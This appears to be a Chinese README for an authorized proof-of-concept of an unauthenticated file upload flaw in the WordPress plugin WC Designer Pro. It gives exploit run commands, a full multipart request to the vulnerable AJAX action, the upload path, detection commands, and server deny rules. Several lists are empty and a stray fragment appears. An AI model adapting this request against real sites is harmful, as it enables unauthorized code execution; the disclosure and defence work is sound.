WC Designer Pro 在通过 WordPress 的 admin-ajax.php 端点暴露的 AJAX 操作中存在一个未认证的任意文件上传漏洞。
受影响的处理器在处理用户可控的文件元数据和文件内容时,未强制执行充分的身份验证、授权、扩展名校验、MIME 类型校验或服务端文件名限制。
在存在漏洞的配置下,未认证的攻击者可能能够将服务器可执行文件上传到 Web 可访问的目录中。成功利用可能导致以 Web 服务器进程的权限执行远程代码。
确切的影响版本范围、CVE 标识符和 CVSS 评分只有在经过独立验证之后才能发布。
若成功利用,未认证的攻击者可能能够:
最终影响取决于 Web 服务器配置、PHP 执行规则、文件系统权限以及托管服务商部署的安全控制措施。
受影响的版本范围目前正在验证中。
Product: WC Designer Pro
Affected versions: To be confirmed
Fixed version: To be confirmed
Patch status: To be confirmed
除非测试或供应商确认支持该结论,否则不要声称所有版本均受影响。
存在漏洞的上传流程似乎信任提供给以下 AJAX 操作的攻击者可控值:
wcdp_save_canvas_design_ajax
该请求包含文件元数据,例如:
当服务器接受这些值而未执行以下所有控制措施时,即存在该漏洞:
Unauthenticated request
│
▼
/wp-admin/admin-ajax.php
│
▼
action=wcdp_save_canvas_design_ajax
│
▼
Insufficient validation of uploaded file
│
▼
File written to a web-accessible directory
│
▼
Potential server-side code execution
观察到的上传路径遵循以下结构:
/wp-content/uploads/wcdp-uploads/temp/{identifier}/{filename}
确切路径可能因插件版本、WordPress 配置和服务器环境而异。
pip未经明确的书面授权,不得将本概念验证用于第三方系统。
克隆仓库:
git clone https://github.com/m2hcz/wcdp-security-poc.git
cd wcdp-security-poc
创建并激活虚拟环境:
python3 -m venv .venv
source .venv/bin/activate
在 Windows 上:
python -m venv .venv
.venv\Scripts\Activate.ps1
安装依赖:
pip install -r requirements.txt
示例 requirements.txt:
requests>=2.28.0
urllib3>=1.26.0
rich>=13.0.0
本概念验证应仅针对单个经授权的实验目标执行。
python3 exploit.py --url https://wordpress-lab.example
进行非破坏性验证:
python3 exploit.py \
--url https://wordpress-lab.example \
--file ./payloads/verification.txt
示例验证文件:
WC Designer Pro security verification
Researcher: m2hcz
Purpose: Authorized non-destructive testing
使用内置的帮助命令查看支持的参数:
python3 exploit.py --help
示例输出:
usage: exploit.py [-h] --url URL [--file FILE] [--timeout SECONDS]
WC Designer Pro arbitrary file-upload verification PoC
options:
-h, --help show this help message and exit
--url URL authorized WordPress target
--file FILE harmless verification file
--timeout SECONDS HTTP request timeout
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: wordpress-lab.example
Content-Type: multipart/form-data; boundary=----Boundary
该请求调用:
action=wcdp_save_canvas_design_ajax
下面展示了一个简化的请求结构:
------Boundary
Content-Disposition: form-data; name="action"
wcdp_save_canvas_design_ajax
------Boundary
Content-Disposition: form-data; name="params"
{
"mode": "save",
"editor": "frontend",
"uniq": "research-verification",
"files": [
{
"name": "verification",
"ext": "txt",
"count": "file1"
}
]
}
------Boundary
Content-Disposition: form-data; name="file1"; filename="verification.txt"
Content-Type: text/plain
Authorized security verification
------Boundary--
此示例特意使用了不可执行的文本文件。
成功的请求可能返回类似如下的响应:
{
"userID": false,
"filesCMYK": [],
"success": true
}
仅凭成功的响应并不能证明远程代码执行。研究人员必须另行确认以下事项:
推荐的验证流程如下:
.txt 标记文件。当无害的标记文件足以证明漏洞时,请避免上传 Web Shell 或命令执行载荷。
一份有效的报告应包含以下内容:
管理员应检查以下目录:
/wp-content/uploads/wcdp-uploads/temp/
潜在的暴露指标包括:
.php、.phtml、.phar 或类似的可执行文件。admin-ajax.php 发起的请求。日志搜索示例:
grep -R "wcdp_save_canvas_design_ajax" /var/log/nginx/ /var/log/apache2/
文件系统搜索示例:
find wp-content/uploads/wcdp-uploads/temp \
-type f \
\( -name "*.php" -o -name "*.phtml" -o -name "*.phar" \)
站点管理员应执行以下操作:
对于 Nginx,拒绝在上传目录内执行 PHP:
location ~* /wp-content/uploads/.*\.php$ {
deny all;
return 403;
}
对于 Apache,在上传目录内放置适当的规则:
<FilesMatch "\.(php|phtml|phar|php[0-9]*)$">
Require all denied
</FilesMatch>
这些控制措施属于纵深防御手段,不能替代对存在漏洞的插件代码的修复。
插件维护者应:
current_user_can() 验证用户权限。wp_check_filetype_and_ext() 校验文件。本仓库仅用于以下目的:
未经明确授权,不得使用本代码访问、修改、干扰或攻陷任何系统。
作者不对本材料的未经授权、非法或滥用行为负责。用户应全权负责遵守适用的法律、合同、交战规则及协同漏洞披露要求。
Discovery date: To be added
Vendor contacted: To be added
Vendor response: To be added
Patch released: To be added
CVE requested: To be added
CVE assigned: To be added
Public disclosure: To be added
请勿将占位符 CVE 当作已分配的标识符发布。
当 CVE 分配后,请用官方记录替换占位符:
CVE: CVE-YYYY-NNNNN
CVSS: Official or documented researcher assessment
安全研究应降低风险,而非制造风险。
由 m2hcz 为经授权的安全测试而制作。
| 属性 | 值 |
|---|
| 产品 | WC Designer Pro |
| 平台 | WordPress |
| 漏洞类型 | 不受限制的任意文件上传 |
| CWE | CWE-434 |
| 是否需要身份验证 | 否 |
| 是否需要用户交互 | 否 |
| 潜在影响 | 远程代码执行 |
| 攻击复杂度 | 低 |
| 受影响组件 | WordPress AJAX 上传处理器 |
| AJAX 操作 | wcdp_save_canvas_design_ajax |